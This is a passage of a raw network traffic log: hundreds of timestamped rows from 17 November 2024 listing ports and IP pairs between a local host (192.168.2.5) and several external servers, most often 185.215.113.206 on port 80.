Nov 17, 2024 12:35:38.197686911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197701931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197731018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197750092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197886944 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197911024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.197942019 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197942019 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197942019 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197942019 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197942972 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.197993994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.198070049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.198085070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.198151112 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.207115889 CET	443	49879	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.207133055 CET	443	49879	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.207222939 CET	443	49879	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.207226038 CET	443	49881	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.207227945 CET	49879	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.207293034 CET	49879	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.207302094 CET	443	49881	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.207444906 CET	49881	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.207866907 CET	443	49882	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.207890034 CET	443	49882	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.207973003 CET	49882	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.207989931 CET	443	49882	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.208034039 CET	49882	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.209930897 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.209958076 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.210020065 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.210036039 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.210040092 CET	49880	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.210093021 CET	49880	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.210808992 CET	49879	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.210829020 CET	443	49879	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.211261988 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.211301088 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.211615086 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.211672068 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.211728096 CET	49878	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.211747885 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.211798906 CET	49878	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.211807013 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.211844921 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.211863041 CET	49878	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.213651896 CET	49891	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.213668108 CET	443	49891	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.233149052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.233166933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.233184099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.233261108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.233275890 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.233275890 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.233277082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.233294010 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.233323097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.233323097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.233345985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.234782934 CET	49881	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.234797001 CET	443	49881	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.235411882 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.235439062 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.235521078 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.245984077 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.246001005 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.248929024 CET	49882	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.248961926 CET	443	49882	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.249752045 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.249804974 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.249911070 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.250539064 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.250557899 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.257307053 CET	49880	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.257405996 CET	443	49880	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.258199930 CET	49878	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.258236885 CET	443	49878	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.313730001 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.314508915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.314539909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.314544916 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.314554930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.314569950 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.314594030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.314637899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.314639091 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.314654112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.314670086 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.314686060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.314729929 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.314749956 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.314766884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.314781904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.314799070 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.314851046 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.314930916 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.314939022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315025091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315040112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315057039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315095901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315095901 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.315160990 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.315160990 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.315164089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315177917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315192938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315231085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.315231085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.315320969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315346003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315403938 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.315527916 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315542936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315557957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315582991 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.315618992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315634012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315680027 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.315680027 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.315720081 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.315726042 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.315891027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315905094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315921068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315937042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.315967083 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316019058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316056967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316061974 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.316071987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316087961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316104889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316148043 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316215038 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316337109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316456079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316471100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316483974 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316484928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316525936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316525936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316550016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316551924 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316561937 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.316567898 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316616058 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.316627979 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316627979 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316662073 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316677094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316730976 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316730976 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316780090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316824913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316829920 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316838980 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316854000 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.316890955 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.316890955 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.317075968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.317091942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.317106962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.317121983 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.317137003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.317152023 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.317157030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.317189932 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.317205906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.317852020 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.317859888 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.318809032 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.319329023 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.319340944 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.319900990 CET	49884	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.319907904 CET	443	49884	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.322799921 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.322855949 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.322875023 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.322916031 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.322957993 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.322962999 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.322977066 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.323004961 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.323019028 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.323019028 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.323060036 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.323088884 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.330483913 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.331286907 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.331321001 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.332434893 CET	49883	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.332441092 CET	443	49883	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.342963934 CET	443	49885	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.343853951 CET	49885	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.343879938 CET	443	49885	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.345546961 CET	49885	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.345556021 CET	443	49885	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.351700068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.351716995 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.351736069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.351751089 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.351774931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.351790905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.351809978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.351825953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.351874113 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.351875067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.351939917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.351953983 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.351982117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.351982117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.351989985 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.352020979 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.352077007 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.414149046 CET	443	49888	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:38.415918112 CET	49888	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:38.415935040 CET	443	49888	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:38.417114019 CET	443	49888	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:38.417653084 CET	49888	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:38.417709112 CET	443	49888	3.170.115.43	192.168.2.5
Nov 17, 2024 12:35:38.418127060 CET	49888	443	192.168.2.5	3.170.115.43
Nov 17, 2024 12:35:38.433037996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433053970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433068037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433115005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433161020 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433161020 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433187962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433203936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433290005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433331966 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433331966 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433373928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433417082 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433439970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433454990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433479071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433494091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433533907 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433558941 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433583975 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433593988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433646917 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433646917 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433681965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433697939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433733940 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433751106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433758020 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433782101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433810949 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433813095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433826923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433851957 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433914900 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433914900 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.433940887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.433955908 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434005022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434036016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434051991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434058905 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434058905 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434108019 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434125900 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434163094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434178114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434179068 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434226036 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434226036 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434257030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434282064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434338093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434338093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434346914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434391975 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434415102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434431076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434475899 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434475899 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434525967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434540987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434556007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434572935 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434601068 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434601068 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434626102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434662104 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434701920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434717894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434751034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434765100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434798002 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434824944 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434832096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434858084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434880018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434926987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434941053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.434967041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.434967041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.435017109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435033083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435075998 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.435075998 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.435087919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435101986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435163021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.435163021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.435185909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435230017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435245037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435276031 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.435321093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.435363054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435385942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435400963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435416937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435439110 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.435439110 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.435477018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.435496092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435519934 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435528040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:38.435599089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.435599089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:38.439498901 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.439521074 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.439611912 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.439635992 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.439805031 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.439815044 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.439824104 CET	443	49877	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:38.439909935 CET	49877	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:38.441011906 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.441152096 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.441239119 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:38.446611881 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:38.446665049 CET	443	49887	13.107.246.45	192.168.2.5
